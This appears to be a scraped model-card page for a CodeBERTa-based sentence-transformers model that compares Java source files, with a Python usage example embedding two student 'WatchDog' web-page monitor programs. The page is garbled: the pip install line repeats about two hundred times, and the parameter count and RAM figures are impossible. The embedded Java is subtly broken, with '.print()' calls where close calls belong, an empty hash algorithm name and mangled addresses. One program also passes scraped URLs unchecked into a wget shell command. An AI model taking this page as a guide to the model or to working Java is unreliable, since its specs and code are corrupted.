SOCO-Java-CodeBERTa-Softmax-PairClass-VAST

1
by
buelfhood
Embedding Model
OTHER
1908.10084B params
New
1 downloads
Early-stage
Edge AI:
Mobile
Laptop
Server
4265GB+ RAM
Mobile
Laptop
Server
Quick Summary

AI model with specialized capabilities.

Device Compatibility

Mobile
4-6GB RAM
Laptop
16GB RAM
Server
GPU
Minimum Recommended
1778GB+ RAM

Code Examples

Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERTa-Softmax-PairClass-VAST")
# Run inference
sentences = [
    'import java.io.*;\nimport java.util.*;\nimport java.text.*;\nimport java.net.*;\nimport java.security.*;\n\n\n\npublic class WatchDog extends Thread\n{\n\n\t\n\tpublic static void main (String args[])\n\t{\n\t    WatchDog watcher = new WatchDog();\n\t    watcher.run();\n\t}\n\n\t\n    public void run()\n    {\n   \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);\n          twentyFourHours = 24 * 60 * 60 * 1000;\n        \n\n   \t\twriteProgramLog("Program started at " + longTimestamp.format(new Date()));\n        while(true)\n        {\n    \t\twriteProgramLog("Running run at " + longTimestamp.format(new Date()));\n            compare();\n            try\n            {\n                sleep(twentyFourHours);\n            }\n            catch(InterruptedException e)\n            {\n                writeProgramLog("Program terminated at " + longTimestamp.format(new Date()));\n                System.exit(0);\n            }\n        }\n    } \n\n\t\n    private void compare()\n    {\n        \n        \n        \n        String watchDogFile = "watchDogHash_rcroft.";\n        String watchDogPageFile = "watchDogPage_rcroft.html";\n    \n        File watchDogLogFile = new File(watchDogFile);\n        \n        if(!watchDogLogFile.exists())\n        {\n            \n            \n            \n            \n            \n            WebPage targetPage = getPage();\n            if(targetPage.getSuccess())\n            {\n                byte[] newHash = calcHash(targetPage.getPageContents());\n                writeHash(newHash, watchDogFile);\n                writePage(targetPage.getPageContents(), watchDogPageFile);\n            }\n        }\n        else\n        {\n            try\n            {\n                \n                \n                \n                \n                \n                \n                WebPage targetPage = getPage();\n                if(targetPage.getSuccess())\n                {\n                    \n                    byte[] oldHash = new byte[16]; \n                    byte[] newHash = calcHash(targetPage.getPageContents());\n\n                    \n                    DataInputStream inWatchDogFile = new DataInputStream(new FileInputStream(watchDogFile));\n                    inWatchDogFile.readFully(oldHash);\n                    inWatchDogFile.print();\n                    \n                    \n                    \n                    \n                    if(!java.util.Arrays.equals(oldHash, newHash))\n                    {\n                        String differences = enumerateDifferences(watchDogPageFile, targetPage.getPageContents());\n                        mail(differences);\n                        writeHash(newHash, watchDogFile);\n                        writePage(targetPage.getPageContents(), watchDogPageFile);\n                    }\n                }\n            }\n            catch(IOException e)\n            {\n                writeProgramLog("Exception: " + e);\n            }\n        }\n    } \n    \n\n\t\n\tprivate String enumerateDifferences(String oldPageFileName, String newPageData)\n\t{\n\t    String differences = "";\n\t    File newFile = null;\n\n\t    try\n\t    {\n\t      \n\t      \n\t      newFile = File.createTempFile("new", "tmp");\n          String tempFilePath = newFile.getAbsolutePath();\n          DataOutputStream outFile = new DataOutputStream(new FileOutputStream(tempFilePath));\n          outFile.writeBytes(newPageData);\n          outFile.print();\n          \n          \n          String commandLine = "diff " + oldPageFileName + " " + tempFilePath;\n          Process p = Runtime.getRuntime().exec(commandLine);\n          BufferedReader diffs = new BufferedReader(new InputStreamReader(p.getInputStream()));\n          String line;\n          while((line = diffs.readLine()) != null)\n            differences += line + "\\n";\n          diffs.print();\n          newFile.delete();\n\t    }\n\t    catch(IOException e)\n\t    {\n\t        writeProgramLog("Exception: " + e);\n\t    }\n\t    return differences;\n\t}  \n\n\t\n    private void mail(String mailMessage)\n    {\n        \n        Vector emailAddresses = new Vector();\n        String watchDogEmailFile = "watchDogEmail_rcroft.txt";\n\n        \n        File emailFile = new File(watchDogEmailFile);\n        if(emailFile.exists())\n        {\n            try\n            {\n                \n                BufferedReader inWatchDogEmailFile = new BufferedReader(new InputStreamReader(new FileInputStream(watchDogEmailFile)));\n                String line;\n                while ((line = inWatchDogEmailFile.readLine()) != null)\n                {\n                    line = line.trim();\n                    if((line != "") && (line != "\\n"))\n                        emailAddresses.add(line);\n                }\n                inWatchDogEmailFile.print();\n    \t    }\n    \t    catch(FileNotFoundException e)\n    \t    {\n    \t        writeProgramLog("Exception: " + e);\n    \t    }\n    \t    catch(IOException e)\n    \t    {\n    \t        writeProgramLog("Exception: " + e);\n    \t    }\n        }\n        else\n        {\n            emailAddresses.add("@yallara.cs.rmit.edu.");\n            emailAddresses.add("[email protected].");\n        }\n                \n        if(emailAddresses.size() > 0) \n        {\n            try\n            {\n                String fromAddress = "From: " + "WatchDog Program ()" + " <" + System.getProperty("user.name") + "@" + InetAddress.getLocalHost().getHostName() + ">";\n        \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);\n                String subject = "Subject: [SEC project] Notification of target file changes (" + longTimestamp.format(new Date()) +")";\n                for(int i = 0; i < emailAddresses.size(); i++)\n                {\n                    String toAddress = (String) emailAddresses.get(i);\n                    try\n                    {\n                        URL mailURL = new URL("mailto: " + toAddress);\n                        URLConnection mailConnection = mailURL.openConnection();\n                        mailConnection.setDoInput(false);\n                        mailConnection.setDoOutput(true);\n                        mailConnection.connect();\n                        PrintWriter mailWriter = new PrintWriter(new OutputStreamWriter(mailConnection.getOutputStream()));\n                        mailWriter.print(": " + toAddress + "\\n");\n                        mailWriter.print(fromAddress + "\\n");\n                        mailWriter.print(subject + "\\n");\n                        mailWriter.print(mailMessage);\n                        mailWriter.print();\n                        writeProgramLog("\\tNotification mailed in this run.");\n                    }\n                    catch(MalformedURLException e)\n                    {\n                        writeProgramLog("Exception: " + e);\n                    }\n                    catch(IOException e)\n                    {\n                        writeProgramLog("Exception: " + e);\n                    }\n                }\n            }\n            catch(UnknownHostException e)\n            {\n                writeProgramLog("Exception: " + e);\n            }  \n        }  \n    } \n    \n\n\t\n    private void writeHash(byte [] newHash, String fileName)\n    {\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName));\n            outFile.write(newHash, 0, newHash.length);\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n    }  \n    \n\t\n    private void writePage(String newPage, String fileName)\n    {\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName));\n            outFile.writeBytes(newPage);\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n    }  \n    \n\n\t\n    private void writeProgramLog(String comment)\n    {\n        String fileName = "watchDogLog_rcroft.txt";\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName, true));\n            outFile.writeBytes(comment + "\\n");\n            outFile.flush();\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            \n            \n            System.out.println("Exception: " + e);\n        }\n    }  \n\n\t\n    private WebPage getPage()\n    {\n        WebPage tempWebPage = new WebPage();\n        try\n        {\n            \n            \n            \n            String urlName = "http://www.cs.rmit.edu./students/";\n   \t    \tURL targetURL= new URL(urlName);\n           \tHttpURLConnection connection = (HttpURLConnection) targetURL.openConnection();\n        \n            \n            connection.connect();\n            connection.getResponseCode();\n            if(connection.getResponseCode() == 200)\n\t\t    {\n\t\t        String fileContents = "";\n\t\t        BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream()));\n                String line;\n    \t\t    while((line = in.readLine()) != null)\n\t\t    \t    fileContents = fileContents + line + "\\n";\n\t\t        in.print();\n\t\t        tempWebPage.setPageContents(fileContents);\n    \t\t    tempWebPage.setSuccess(true);\n    \t\t    connection.disconnect();\n\t        }\n\t        else\n\t\t    {\n    \t\t    writeProgramLog("Failed  connect " + connection.getResponseCode());\n\t\t    } \n        }\n        catch(IOException e)\n        {\n    \t    writeProgramLog("Exception " + e);\n        } \n        return tempWebPage;\n    } \n    \n\t\n    private  byte[] calcHash(String pageContents)\n    {\n        byte[] outHash = null;\n        try\n        {\n            MessageDigest msg = MessageDigest.getInstance("");\n            msg.reset();\n            msg.update(pageContents.getBytes());\n            outHash = msg.digest();\n            msg.reset();\n        }\n        catch(NoSuchAlgorithmException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n        return outHash;\n    } \n        \n} \n',
    '\n\n\n\n \nimport java.io.*;\nimport java.net.*;\nimport java.Runtime;\nimport java.util.*;\nimport java.net.smtp.SmtpClient; \n\n\n\npublic class WatchDog\n\n{\n\n   static String strImageOutputFile01      = "WebPageImages01.txt";\n   static String strImageOutputFile02      = "WebPageImages02.txt";\n\n   static String strWebPageOutputFile01    = "WebPageOutput01.txt";\n   static String strWebPageOutputFile02    = "WebPageOutput02.txt";\n\n   static String strWatchDogDiffFile_01_02 = "WatchDogDiff_01_02.txt";\n\n   static String strFromEmailDefault = "@.rmit.edu.";\n   static String strToEmailDefault   = "@.rmit.edu.";\n\n   static String strFromEmail = null;\n   static String strToEmail   = null;\n\n\n\n\n   public static void main (String args[])\n   \n   {\n\n         \n         \n         \n         \n         \n\n      URL url = null;\n      HttpURLConnection urlConnection;\n      int intContentLength;\n      String strWebPageText = "";\n\n      String strURL     = "http://www.cs.rmit.edu./students/";\n      String strPrePend = "http://www.cs.rmit.edu.";\n\n      boolean boolURLisOK = true;\n\n\n\n\n\n      System.out.println();\n\n\n         \n         \n      tidyUpWatchDogFiles();\n\n\n         \n         \n         \n         \n      promptForEmailAddresses();\n\n\n\n\n      try\n      {\n            \n            \n         url = new URL(strURL);       \n      }\n\n      catch(MalformedURLException e)\n      {\n         System.out.println("ERROR:  invalid URL " + strURL);   \n         System.err.println(e);  \n \n         boolURLisOK = false;\n         url = null;\n      }    \n\n      catch(Exception e)\n      {\n         System.out.println("Exception");   \n         System.err.println(e);  \n      }\n\n\n      System.err.println();  \n\n\n      if (boolURLisOK)\n      {\n         try\n         { \n\n               \n               \n            urlConnection = (HttpURLConnection)url.openConnection();\n\n\n               \n               \n            InputStream urlStream = urlConnection.getInputStream();\n\n\n               \n               \n            int intNumRead = urlStream.print();\n            String strNewContent; \n\n            while (intNumRead != -1)\n            {\n               intNumRead = urlStream.print();\n               if (intNumRead != -1)\n               {\n                  strNewContent = (char)intNumRead + ""; \n                  strWebPageText += strNewContent;\n               }\n            }\n\n            urlStream.print(); \n\n\n\n               \n               \n            if (strWebPageText != null)\n            {\n\n               if (fileExists(strWebPageOutputFile01))\n               {\n                  writeTextToFile(strWebPageText, strWebPageOutputFile02);               \n               }\n\n               else\n               {\n                  writeTextToFile(strWebPageText, strWebPageOutputFile01);               \n               }\n\n\n               if (fileExists(strWebPageOutputFile02))\n               { \n                  System.out.println("Output file");\n                  System.out.println("-----------");\n                  System.out.println("The output file \'"   + \n                                     strWebPageOutputFile02    + \n                                     "\' has NOW BEEN created.");                                    \n                  System.out.println();\n                  System.out.println("Comparison");\n                  System.out.println("----------");\n                  System.out.println("A text comparison  NOW  performed " +\n                                      "with the output");\n                  System.out.println("file \'" + strWebPageOutputFile01 + "\'.");\n                  System.out.println();\n\n\n\n                     \n                     \n\n                     \n                     \n                  createDiffFileIfNeeded(strWebPageOutputFile01, \n                                         strWebPageOutputFile02);                  \n\n\n                     \n                     \n                  if (fileExists(strWatchDogDiffFile_01_02))\n                  { \n\n                     System.out.println("Mail  (ordinary text comparison)");\n                     System.out.println("--------------------------------");\n\n                     if (getFileSize(strWatchDogDiffFile_01_02) > 0)\n                     {\n                        sendMailWithDetectedChanges();\n                        System.out.println("Text diff mail has been sent  the \'\' email address.");\n                     }\n                     else\n                     {\n                        System.out.println("The DIFF file has zero length - text diff mail has NOT been sent.");\n                     }\n\n                  }\n\n\n\n                     \n                     \n                  createImageTextFile(strWebPageOutputFile01, strPrePend);\n                  createImageTextFile(strWebPageOutputFile02, strPrePend);\n\n                  System.out.println();\n                  System.out.println("Image text file/s");\n                  System.out.println("-----------------");\n\n\n                  if (fileExists(strImageOutputFile01))\n                  {\n                     System.out.println("\'" + strImageOutputFile01 + "\' has been created.");\n                     System.out.println("Images from \'" + strImageOutputFile01 + "\'  now  downloaded using");  \n                     System.out.println("the Unix \'wget\' command:");  \n\n                     downloadImages(strImageOutputFile01);\n                  }\n\n                  if (fileExists(strImageOutputFile02))\n                  {\n                     System.out.println();\n                     System.out.println("\'" + strImageOutputFile02 + "\' has been created.");\n                  }\n\n                  System.out.println();\n\n               }\n\n               else if (fileExists(strWebPageOutputFile01))\n               {\n                  System.out.println("Output file");\n                  System.out.println("-----------");\n                  System.out.println("The output file \'"   + \n                                     strWebPageOutputFile01    + \n                                     "\' has NOW BEEN created.");                                    \n                  System.out.println();\n                  System.out.println("Comparison");\n                  System.out.println("----------");\n                  System.out.println("A comparison CANNOT  performed " +\n                                      "with this output file");\n                  System.out.println("because it is the only output file " +\n                                     "in existence.");\n                  System.out.println();\n               }\n\n            }\n\n         }\n\n         catch(Exception e)\n         {\n\n            boolURLisOK = false;\n\n            System.err.println(e);\n         }   \n\n         finally\n         { \n            urlConnection = null;\n            url = null; \n         }\n\n      }\n\n\n      System.out.println();\n\n   }\n\n\n\n\n\n\n\n   static void tidyUpWatchDogFiles()\n   \n   {\n\n         \n         \n\n\n         \n         \n      deleteFile(strWatchDogDiffFile_01_02);\n\n\n         \n         \n      deleteFile(strImageOutputFile01);\n      deleteFile(strImageOutputFile02);\n\n\n      if (fileExists(strWebPageOutputFile01))\n      {\n\n         if (fileExists(strWebPageOutputFile02))\n         {\n               \n               \n               \n               \n               \n            deleteFile(strWebPageOutputFile01);\n            renameFile(strWebPageOutputFile02, strWebPageOutputFile01);\n         }\n\n      }\n\n      else\n      {\n            \n            \n            \n         deleteFile(strWebPageOutputFile02);\n      }\n\n   }\n\n\n\n\n\n\n\n   static void promptForEmailAddresses()\n   \n   {      \n\n\n      BufferedReader stdin = new BufferedReader(new InputStreamReader(System.in));\n\n\n\n\n         \n         \n      System.out.println();\n      System.out.println("\'From\' email address");\n      System.out.println("--------------------");\n      System.out.println("Please enter a \'From\' email address,  press Enter for default");\n      System.out.print("(default: " + strFromEmailDefault + "):  ");\n\n      try\n      {\n         strFromEmail = stdin.readLine();\n      }\n      catch (Exception e)\n      {\n         System.err.println(e);\n      }\n \n\n      System.out.println();\n\n      if ( (strFromEmail == null) || (strFromEmail.length() == 0) )\n      {\n         System.out.println(" email address was entered.");         \n         System.out.println("The \'From\' email address  default :  " + strFromEmailDefault);         \n         strFromEmail = strFromEmailDefault;\n      }\n\n      else\n      {\n         System.out.println("The entered \'From\' email address is:  " + strFromEmail);         \n      }\n\n\n\n         \n         \n      System.out.println();\n      System.out.println("\'\' email address");\n      System.out.println("------------------");\n      System.out.println("Please enter a \'\' email address,  press Enter for default");\n      System.out.print("(default: " + strToEmailDefault + "):  ");\n\n      try\n      {\n         strToEmail = stdin.readLine();\n      }\n      catch (Exception e)\n      {\n         System.err.println(e);\n      }\n \n\n      System.out.println();\n\n      if ( (strToEmail == null) || (strToEmail.length() == 0) )\n      {\n         System.out.println(" email address was entered.");         \n         System.out.println("The \'\' email address  default :  " + strToEmailDefault);         \n         strToEmail = strToEmailDefault;\n      }\n\n      else\n      {\n         System.out.println("The entered \'\' email address is:  " + strToEmail);         \n      }\n\n   }\n\n\n\n\n\n\n\n   static void writeTextToFile(String strText,\n                               String strWriteToThisFileName)\n   \n   {\n\n      try\n      {\n\n         File newFile = new File(strWriteToThisFileName);\n\n         if (newFile.exists())\n         {\n            newFile.delete();\n         }\n\n\n         BufferedWriter toFile =\n              new BufferedWriter(new FileWriter(newFile,\n                                                false));\n\n         toFile.write(strText);\n\n         toFile.print();\n         toFile = null;\n         newFile = null;\n\n      }\n\n      catch(Exception e)\n      {\n         System.err.println(e.toString());\n         System.out.println("File write problem for \'" + \n                            strWriteToThisFileName     +\n                            "\'.");               \n      }\n\n   }\n\n\n\n\n\n\n\n   static void createDiffFileIfNeeded(String strFileName1, \n                                      String strFileName2)\n   \n   {\n\n\n\n\n\n\n\n\n\n\n\n\n\n         \n         \n\n         \n         \n      try\n      {\n\n         Process p = Runtime.getRuntime().exec("./diff_files.sh");\n         p.waitFor();\t\n\n      }\n\n      catch (Exception e)\n      {\n         System.out.println("Shell script exception");\n         System.out.println("----------------------");\n         System.err.println(e);\n         System.out.println("");\n      }\n\n   }\n\n\n\n\n\n\n\n   static void createImageTextFile(String inputFile, String prePend)\n   \n   {\n\n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n\n      String str;\n      String strImage = "";\n      String strImageArray[];\n      String strInputFromFile = "";\n      String strSearchString = "<img src";\n\n      boolean boolContinue = true;\n\n      int intImageCounter  = 0;\n      int intStartSearch   = 0;\n\n      char ch;\n\n\n\n\n\n      strImageArray = new String[1000];\n\n\n\n         \n         \n      try\n      {\n\n         BufferedReader file =\n              new BufferedReader(new FileReader(inputFile));\n\n\n         while ( (str = file.readLine()) != null)\n         {\n            strInputFromFile += str;\n         }\n\n         file.print();\n         file = null;\n\n      }\n\n      catch (Exception e)\n      {\n         boolContinue = false;\n         System.err.println(e);       \n      }\t\n\n\n\n      if (boolContinue)\n      {\n\n         strInputFromFile = (strInputFromFile.toLowerCase()).trim();\n\n         intStartSearch = strInputFromFile.indexOf(strSearchString, intStartSearch);\n\n\n         while (intStartSearch != -1)\n         {\n\n            intStartSearch += 8;\n\n            while ( (strInputFromFile.charAt(intStartSearch) == \' \')  ||\n                    (strInputFromFile.charAt(intStartSearch) == \'=\')  ||\n                    (strInputFromFile.charAt(intStartSearch) == \'\\"\')   )\n            {\n               intStartSearch++;          \n            }\n\n            while ((strInputFromFile.charAt(intStartSearch) != \'\\"\'))              \n            {\n\n               ch = strInputFromFile.charAt(intStartSearch);\n\n               strImage += String.valueOf(ch);\n               intStartSearch++;\n\n            }\n\n\n            if (strImage.startsWith("/"))\n               strImage = prePend + strImage;          \n\n\n            intImageCounter++;\n            strImageArray[intImageCounter - 1] = strImage;\n\n            strImage = "";\n\n            intStartSearch = strInputFromFile.indexOf(strSearchString, intStartSearch);\n\n         }\n\n\n         if (inputFile.equals(strWebPageOutputFile01))     \n         { \n            writeTextArrayToFile(strImageArray, \n                                 strImageOutputFile01,\n                                 intImageCounter);\n         }\n         else if (inputFile.equals(strWebPageOutputFile02))     \n         { \n            writeTextArrayToFile(strImageArray, \n                                 strImageOutputFile02,\n                                 intImageCounter);\n         }\n\n\n      }\n\n   }\n\n\n\n\n\n\n\n   static void downloadImages(String ImageOutputFile)\n   \n   {\n\n      Process p;\n\n      String str;\n      String strFileName;\n\n\n\n      try      \n      {\n\n         BufferedReader file =\n                 new BufferedReader(new FileReader(ImageOutputFile));\n\n\n\n         while ( (str = file.readLine()) != null)\n         {\n\n            strFileName = getImageFileName(str);\n\n            System.out.println("    " + str);\n            System.out.println("             file name:  " + strFileName);                                                           \n\n\n            if (fileExists(strFileName))\n               deleteFile(strFileName);\n\n\n            p = Runtime.getRuntime().exec("wget " + str);\n            p.waitFor();\t\n\n         }\n\n\n         file = null;\n\n      }\n\n      catch (Exception e)\n      {\n         System.err.println("downloadingImages:  " + e);\n      }\n\n   }\n\n\n\n\n\n\n\n   static String getImageFileName(String imageFileName)\n   \n   {\n\n         \n         \n         \n\n      String strFileName;\n\n      int intFileNameLength     = imageFileName.length();      \n      int intStartPosOfFileName = intFileNameLength - 1;\n\n\n\n\n         \n         \n      while ( (intStartPosOfFileName >= 0) && \n              (imageFileName.charAt(intStartPosOfFileName) != \'/\') )\n      {\n         intStartPosOfFileName--; \n      }\n\n\n      strFileName = imageFileName.substring(intStartPosOfFileName + 1, \n                                            intFileNameLength);\n\n\n      return strFileName;\n\n   }\n\n\n\n\n\n\n\n   static void writeTextArrayToFile(String strTextArray[],\n                                    String strWriteToThisFileName,\n                                    int numberOfImages )\n   \n   {\n\n      boolean boolFirstLineWritten = false;\n\n\n\n      try\n      {\n\n         File newFile = new File(strWriteToThisFileName);\n\n         if (newFile.exists())\n         {\n            newFile.delete();\n         }\n\n\n         BufferedWriter toFile =\n              new BufferedWriter(new FileWriter(newFile,\n                                                false));\n\n         for ( int i = 0 ; i < numberOfImages ; i++ )\n         {\n\n            if (boolFirstLineWritten) \n               toFile.newLine();\n            else\n               boolFirstLineWritten = true;\n  \n\n            toFile.write(strTextArray[i]);\n\n         }\n\n\n         toFile.print();\n         toFile = null;\n         newFile = null;\n\n      }\n\n      catch(Exception e)\n      {\n         System.err.println(e.toString());\n         System.out.println("File write problem for \'" + \n                            strWriteToThisFileName     +\n                            "\'.");               \n      }\n\n   }\n\n\n\n\n\n\n\n   static boolean fileExists(String strFileName)\n   \n   {\n\n      boolean boolReturnValue;\n      File aFile = new File(strFileName);\n\n\n      if (aFile.exists())\n         boolReturnValue = true;\n      else\n         boolReturnValue = false;\n      \n\n      